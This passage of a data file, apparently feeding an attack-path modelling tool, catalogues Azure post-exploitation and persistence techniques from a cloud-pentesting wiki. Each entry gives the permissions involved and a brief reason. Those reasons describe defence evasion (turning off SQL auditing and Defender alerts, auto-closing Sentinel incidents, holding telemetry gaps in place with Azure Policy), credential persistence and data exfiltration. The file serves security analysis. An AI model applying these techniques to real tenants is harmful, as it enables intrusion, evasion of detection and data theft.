reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasestransparentdataencryptionwrite-microsoftsqllocationstransparentdataencryptionazureasyncoperationread-microsoftsqlserversdatabasestransparentdataencryptionread + technique: Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, + Microsoft.Sql/servers/databases/transparentDataEncryption/read + source_revision: a66f094ede + reason: Toggle TDE per database. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversauditingsettingsread--microsoftsqlserversauditingsettingswrite + technique: Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write + source_revision: a66f094ede + reason: Disable or reconfigure SQL auditing → blind the primary data-plane detection control before running queries, exfiltrating + or tampering with data (defense evasion). The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversadvancedthreatprotectionsettingswrite--microsoftsqlserverssecurityalertpolicieswrite + technique: Microsoft.Sql/servers/advancedThreatProtectionSettings/write && Microsoft.Sql/servers/securityAlertPolicies/write + source_revision: a66f094ede + reason: disable Microsoft Defender for SQL / Advanced Threat Protection — the behavioural anomaly and threat-alert layer (SQL injection, + anomalous login, potential data-exfiltration alerts). The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesledgerdigestuploadsdisableaction-microsoftsqllocationsledgerdigestuploadsazureasyncoperationread-microsoftsqllocationsledgerdigestuploadsoperationresultsread + technique: Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, + Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read + source_revision: a66f094ede + reason: Disable automatic ledger digest uploads → stop the tamper-evidence anchor from being published, so subsequent modifications + to ledger tables can no longer be cryptographically proven/verified (defeats. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverselasticpoolswrite--microsoftsqlserverselasticpoolsread + technique: Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read + source_revision: a66f094ede + reason: Create/resize elastic pools and move databases in/out → resource and cost manipulation, and potential noisy-neighbor DoS by + starving pooled databases of DTU/vCore. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverskeyswrite--microsoftsqlserverskeysread + technique: Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read + source_revision: a66f094ede + reason: Registering a SQL TDE key enables a key-revocation outage; it does not produce another principal's token or role. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesread--microsoftstoragestorageaccountstableservicestablesentitiesread + technique: Microsoft.Storage/storageAccounts/tableServices/tables/read | Microsoft.Storage/storageAccounts/tableServices/tables/entities/read + source_revision: a66f094ede + reason: Enumerate tables and read their entities → exfiltrate whatever they store (often config, tokens, PII, application state). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitieswrite--microsoftstoragestorageaccountstableservicestablesentitiesaddaction--microsoftstoragestorageaccountstableservicestablesentitiesupdateaction + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action + | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action + source_revision: a66f094ede + reason: Table entity writes can change application authorization data only when a specific application trusts those fields; no Azure/Entra + principal or consumer binding is identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitiesdelete + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/delete + source_revision: a66f094ede + reason: 'Destructive: delete table entities → data loss and disruption of applications that depend on the removed rows. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#code-injection-via-microsoftwebsites-write-operations + technique: Code injection via Microsoft.Web/sites/ write operations + source_revision: a66f094ede + reason: This parent section explains config/write code execution; azure-appservice-config-write-code-execution and related App Service + entries model its concrete permission variants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountspython3packageswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/python3Packages/write, Microsoft.Automation/automationAccounts/runbooks/write, + Microsoft.Automation/automationAccounts/runbooks/draft/content/write, Microsoft.Automation/automationAccounts/runbooks/publish/action, + Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsmoduleswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/modules/write, Microsoft.Automation/automationAccounts/runbooks/write, Microsoft.Automation/automationAccounts/runbooks/draft/content/write, + Microsoft.Automation/automationAccounts/runbooks/publish/action, Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-enumeration-tools.md#azure-resource-graph-quiet-cross-subscription-inventory + technique: 'Azure Resource Graph: quiet cross-subscription inventory' + source_revision: a66f094ede + reason: 'Minimum permissions: Microsoft.ResourceGraph/resources/read (isDataAction=false) — effectively granted by every reader-class + role. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#applications-and-service-principals + technique: Applications and Service Principals + source_revision: a66f094ede + reason: Adds an attacker-controlled client secret or certificate to an existing (privileged) application, allowing sign-in as that + app/SP indefinitely with its Graph/API permissions — which may exceed the operator's own…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-analysis-services-persistence.md#data-model-role-tampering-for-persistence + technique: Data-model role tampering for persistence + source_revision: a66f094ede + reason: The server admin changes tabular-model members for persistent Analysis Services data access; it does not obtain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#backdoor-an-existing-runbook + technique: Backdoor an existing runbook + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#malware-on-a-vm-in-a-hybrid-runbook-worker-group + technique: Malware on a VM in a Hybrid Runbook Worker group + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#compromise-external-repositories + technique: Compromise external repositories + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#watcher-tasks-sub-schedule-floor-recurring-execution + technique: 'Watcher tasks: sub-schedule-floor recurring execution' + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#schedules-and-webhooks + technique: Schedules and webhooks + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-batch-persistence.md#interactive-admin-persistence-via-compute-node-user--remote-login-data-plane + technique: Interactive admin persistence via compute-node user + remote login (data-plane) + source_revision: a66f094ede + reason: This creates a local administrator login on a Batch compute node; Azure/Entra identity gain requires an attached managed identity + and is modelled by the Batch node execution entries. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-explorer-persistence.md#data-plane-add-databasecluster-admins--persistence-that-evades-arm-review + technique: Data-plane .add database/cluster admins — persistence that evades ARM review + source_revision: a66f094ede + reason: Data Explorer native admin membership grants the service data plane, but does not impersonate another Azure/Entra principal; + ARM principal-assignment variants are modelled in data_explorer.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#permanent-suppression-rule-scoped-to-your-source + technique: Permanent suppression rule scoped to your source + source_revision: a66f094ede + reason: A rule with no expirationDateUtc lives until deleted and creates matching alerts already-Dismissed forever — never emailed, + exported, or sent to Sentinel; scope to an attribute you control long-term (egress CIDR, a…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#auto-provisioning-off--born-blind-new-resources + technique: Auto-provisioning off — born-blind new resources + source_revision: a66f094ede + reason: Future VMs never receive the MDE / Azure Monitor agent, so any infrastructure deployed later is uninstrumented from creation + with no per-host tampering. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#continuous-export-gap + technique: Continuous-export gap + source_revision: a66f094ede + reason: Narrow (rather than delete) a continuous-export automation's scopes/sources to exclude your RG or alert types; alerts still + show in the portal (nothing looks broken) but never reach the SIEM. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#silenced-notifications + technique: Silenced notifications + source_revision: a66f094ede + reason: Set alertNotifications.minimalSeverity to High and turn role notifications off, so Medium/Low alerts about your activity generate + but never page anyone. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#plan-downgrade-held-in-place-by-azure-policy + technique: Plan downgrade held in place by Azure Policy + source_revision: a66f094ede + reason: Pin a plan on Free (or the per-account Defender-for-Storage opt-out) with an Azure Policy that re-asserts it whenever posture + management tries to re-enable it — the blindness self-heals and looks like governance. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-deployment-stacks-persistence.md#deny-settings-lockout-without-denyassignmentswrite-anti-remediation-persistence + technique: Deny-settings lockout without denyAssignments/write (anti-remediation persistence) + source_revision: a66f094ede + reason: create a stack with denySettingsMode = denyWriteAndDelete (optionally denySettingsApplyToChildScopes) over managed resources. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#malicious-artifact-source-supply-chain-into-the-lab + technique: Malicious artifact source (supply-chain into the lab) + source_revision: a66f094ede + reason: registers an arbitrary attacker-controlled Git repo (GitHub / Azure Repos, authenticated by a PAT or the lab MI) as an artifact + source. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#standing-risk-dismissal-and-allow-listing + technique: Standing risk dismissal and allow-listing + source_revision: a66f094ede + reason: 'Keeps a compromised identity permanently ''not risky'': a retained token with the risky-user write scope dismisses risk whenever + it appears, and defining the operator egress range as a trusted named location makes that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-based-conditional-access + technique: Exclude a controlled principal from risk-based Conditional Access + source_revision: a66f094ede + reason: Adds a controlled account/group to the excludeUsers/excludeGroups of the sign-in-risk and user-risk CA policies, or lowers + the policy risk threshold / sets it report-only, so risk is still scored but never enforced —…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-remediation-requirements + technique: Exclude a controlled principal from risk remediation requirements + source_revision: a66f094ede + reason: Excludes the controlled account from a CA policy that forces risky users to self-remediate (password reset), so a stolen credential + stays usable indefinitely without ever triggering a forced reset. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md#federated-identity-credential-on-an-application + technique: Federated identity credential on an application + source_revision: a66f094ede + reason: 'Maintains long-term access as the application''s service principal: an attacker-controlled external OIDC workload (e.g. The + section documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#self-healing-persistence-via-applyandautocorrect + technique: Self-healing persistence via ApplyAndAutoCorrect + source_revision: a66f094ede + reason: durable, self-repairing foothold on the machine. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#retain-restorable-object-backups + technique: Retain restorable object backups + source_revision: a66f094ede + reason: A point-in-time copy of a credential that survives rotation, deletion and purge of the original. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#plant-attacker-known-key-material-with-keysimport-or-keyscreate + technique: Plant attacker-known key material with keys/import (or keys/create) + source_revision: a66f094ede + reason: Durable ability to reproduce, outside Azure, any cryptographic operation performed with a "vault-protected" key. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#mint-a-new-exportable-certificate-for-appsp-credential-persistence-certificatescreate + technique: Mint a new exportable certificate for app/SP credential persistence (certificates/create) + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#resurrect-a-soft-deleted-vault-under-attacker-controlled-access-createmoderecover + technique: Resurrect a soft-deleted vault under attacker-controlled access (createMode=recover) + source_revision: a66f094ede + reason: Recovery depends on a previously soft-deleted vault and attacker-readable secret contents; deleted-vault inventory is not + collected, so no deterministic target principal exists. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#backdoor-a-data-plane-principal + technique: Backdoor a data-plane principal + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#managed-hsm-local-rbac + technique: Managed HSM local RBAC + source_revision: a66f094ede + reason: Managed HSM has its own local RBAC plane that is completely separate from Azure RBAC. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#event-grid-notification-for-new-secret-versions + technique: Event Grid notification for new secret versions + source_revision: a66f094ede + reason: A durable, out-of-band feed telling the attacker the instant a credential is rotated, including the secret name and the new + version ID. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: Re-arm the built-in cluster admin / attacker Entra admin group (managedClusters/write) + source_revision: a66f094ede + reason: Re-enabling AKS local admin or changing its admin group is modelled by the AKS managedClusters/write cluster-admin entries + in kubernetes.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#table-plan-downgrade-held-in-place-by-policy + technique: Table plan downgrade held in place by Policy + source_revision: a66f094ede + reason: pin a table plan downgrade (Analytics -> Basic) with a DINE/Modify policy that re-asserts Basic on the target table, so the + scheduled analytics rules stay dead and any revert self-heals. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#diagnostic-setting--connector-gap-that-self-heals + technique: Diagnostic-setting / connector gap that self-heals + source_revision: a66f094ede + reason: remove the target's diagnostic setting / DCR association / Sentinel connector so telemetry never reaches the workspace, and + pin the removal with Azure Policy so recreation is denied or reverted — the most complete,…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#retention-floor + technique: Retention floor + source_revision: a66f094ede + reason: durably cap workspace/table retention and disable archive so future investigations cannot reach back — every day ages out + more of your activity; framed as a cost measure, it is rarely reverted. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#shared-key-ingestion-channel + technique: Shared-key ingestion channel + source_revision: a66f094ede + reason: a retained shared key is a long-lived Data Collector API credential to inject logs independent of Azure RBAC — survives loss + of your control-plane/RBAC access until the key is rotated. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md#workflow-access-context + technique: Workflow access context + source_revision: a66f094ede + reason: The backdoored workflow identity path is modelled by the Logic Apps workflow-write entries; the section summarizes retained + callbacks and workflow triggers. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#standing--cross-tenant-hidden-access-via-authorizations + technique: Standing / cross-tenant hidden access via authorizations + source_revision: a66f094ede + reason: Managed application authorizations confer RBAC only inside its managed resource group; the managed-applications entries cover + deployment identity paths. This section describes standing or JIT persistence in that bounded group. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#jit-jitrequests-eligible-role-access + technique: JIT (jitRequests) eligible-role access + source_revision: a66f094ede + reason: Managed application authorizations confer RBAC only inside its managed resource group; the managed-applications entries cover + deployment identity paths. This section describes standing or JIT persistence in that bounded group. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#deny-assignment-shielding-of-attacker-resources + technique: Deny-assignment shielding of attacker resources + source_revision: a66f094ede + reason: resources planted inside the MRG (a backdoor VM, automation, an identity) are protected by the auto-created deny assignment, + and deny assignments take precedence over allow role assignments — even a subscription…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#durable-telemetry-blindness + technique: Durable telemetry blindness + source_revision: a66f094ede + reason: 'Self-sustaining monitoring blind spots: a removed DCR association keeps a host un-monitored until someone notices that one + machine stopped reporting; a Deny Azure Policy on the diagnostic-setting write prevents the…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#autoscale-as-a-scheduler + technique: Autoscale as a scheduler + source_revision: a66f094ede + reason: 'An autoscale setting on a recurring schedule that changes capacity becomes a crude cron: combined with a custom-script / + VM extension deployment on scale-out, it re-provisions attacker workloads periodically. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-notification-hubs-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named authorization rule with Manage+Listen+Send, then list its keys. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-configuration-backdoors + technique: Self-healing configuration backdoors + source_revision: a66f094ede + reason: DINE policy re-installs footholds on every in-scope and future resource — a VM custom-script/extension (agent reinstall on + new/rebuilt VMs), an NSG egress rule, or a held diagnostic-setting removal to keep telemetry cut. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#deny-based-lockout--anti-remediation + technique: Deny-based lockout / anti-remediation + source_revision: a66f094ede + reason: a Deny policy blocks defenders from fixing things — deny recreation of a diagnostic setting you deleted or modification of + a resource you control, so remediation attempts fail and protect your other changes. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-role-grant-the-headline-technique + technique: Self-healing role grant (the headline technique) + source_revision: a66f094ede + reason: A remediation policy that recreates an RBAC grant is covered by the policy-assignment managed-identity and role-assignment + entries; this heading describes persistence of that grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#self-service-access-workflow-auto-approval + technique: Self-service-access workflow auto-approval + source_revision: a66f094ede + reason: Purview Workflows drive approvals for self-service data access and glossary/term changes. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#blindness-that-self-sustains + technique: Blindness that self-sustains + source_revision: a66f094ede + reason: Paused scans / narrowed scope keep freshly staged or exfiltrated data unclassified indefinitely, so it never surfaces on sensitivity + dashboards or Defender attack paths; a benign-looking schedule makes the gap look…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#long-lived-event-hubs-channel-via-listkeys + technique: Long-lived Event Hubs channel via listkeys + source_revision: a66f094ede + reason: Retained Event Hubs connection strings (atlashook, atlasentities) provide a durable send/receive channel into Purview's metadata + pipeline that keeps working until the namespace keys are rotated — independent of your…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named rule with Listen+Send+Manage at namespace, hybrid-connection, or WCF-relay scope, then + list its key. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#unauthenticated-tunnel-with-hybridconnectionswrite + technique: Unauthenticated tunnel with HybridConnections/write + source_revision: a66f094ede + reason: create/modify a hybrid connection. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#standing-auto-close-automation-rule + technique: Standing auto-close automation rule + source_revision: a66f094ede + reason: A durable automation rule that runs on incident creation and closes anything matching a stable attribute you control (SP object + id, egress IP, host) as BenignPositive — detections keep firing so nothing looks…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#analytics-rule-tampering-that-survives-review + technique: Analytics-rule tampering that survives review + source_revision: a66f094ede + reason: Embed a | where != "" exclusion in a busy built-in rule's KQL, or widen its incident grouping / suppressionDuration, so your + activity is permanently filtered/folded away without disabling anything — designed to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#watchlist-as-an-allow-list-backdoor + technique: Watchlist as an allow-list backdoor + source_revision: a66f094ede + reason: Add your identity/IP to an 'authorised admins' or 'known infrastructure' watchlist; every rule that joins that watchlist then + treats you as trusted — a durable allow-list backdoor that touches no rule. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#connector--ingestion-gap-held-in-place + technique: Connector / ingestion gap held in place + source_revision: a66f094ede + reason: A deleted data connector is reversible by an admin, so pin the underlying diagnostic-setting removal or table-plan downgrade + with Azure Policy so it re-applies after remediation — a durable telemetry blackout that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#self-minted-sas-authorization-rule-entra-independent-bearer-credential + technique: Self-minted SAS authorization rule (Entra-independent bearer credential) + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#durable-copy-through-a-new-topic-subscription + technique: Durable copy through a new topic subscription + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#database-access-context + technique: Database access context + source_revision: a66f094ede + reason: This heading summarizes existing SQL login and Entra-admin persistence. SQL server administrator assignment is modelled in + databases.yaml; retaining a SQL-only login does not impersonate Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#retain-storage-account-access-keys + technique: Retain storage account access keys + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#long-lived-sas-tokens + technique: Long-lived SAS tokens + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#sftp-local-users-a-credential-outside-entra-id + technique: 'SFTP local users: a credential outside Entra ID' + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#stored-access-policy-backdoor-re-mintable-expiry-less-sas + technique: Stored access policy backdoor (re-mintable, expiry-less SAS) + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#object-replication-continuous-automatic-exfiltration + technique: 'Object replication: continuous automatic exfiltration' + source_revision: a66f094ede + reason: Every blob written to the victim container from now on is copied automatically by the Azure platform into the attacker's storage + account. This is storage data access, exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#event-grid-subscription-live-notification-of-every-new-blob + technique: 'Event Grid subscription: live notification of every new blob' + source_revision: a66f094ede + reason: A real-time feed of every object written to the victim account — container, blob name, full URL, size and eTag — delivered + to an attacker-controlled queue, webhook, Event Hub or Function. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#wildcard-cors-rule-a-durable-browser-driven-exfiltration-channel + technique: 'Wildcard CORS rule: a durable browser-driven exfiltration channel' + source_revision: a66f094ede + reason: A permanent cross-origin read channel into the account's data plane. This is storage data access, exfiltration, hosted content + or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#lifecycle-management-policy-destroy-data-without-any-delete-permission + technique: 'Lifecycle management policy: destroy data without any delete permission' + source_revision: a66f094ede + reason: The Azure platform deletes base blobs, snapshots and previous versions on the attacker's schedule. This is storage data access, + exfiltration, hosted content or destruction, without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#static-website-hosting-on-a-trusted-microsoft-domain + technique: Static website hosting on a trusted Microsoft domain + source_revision: a66f094ede + reason: Attacker-controlled content served over HTTPS from https://.z.web.core.windows.net/ — a Microsoft-owned, valid-certificate + domain that 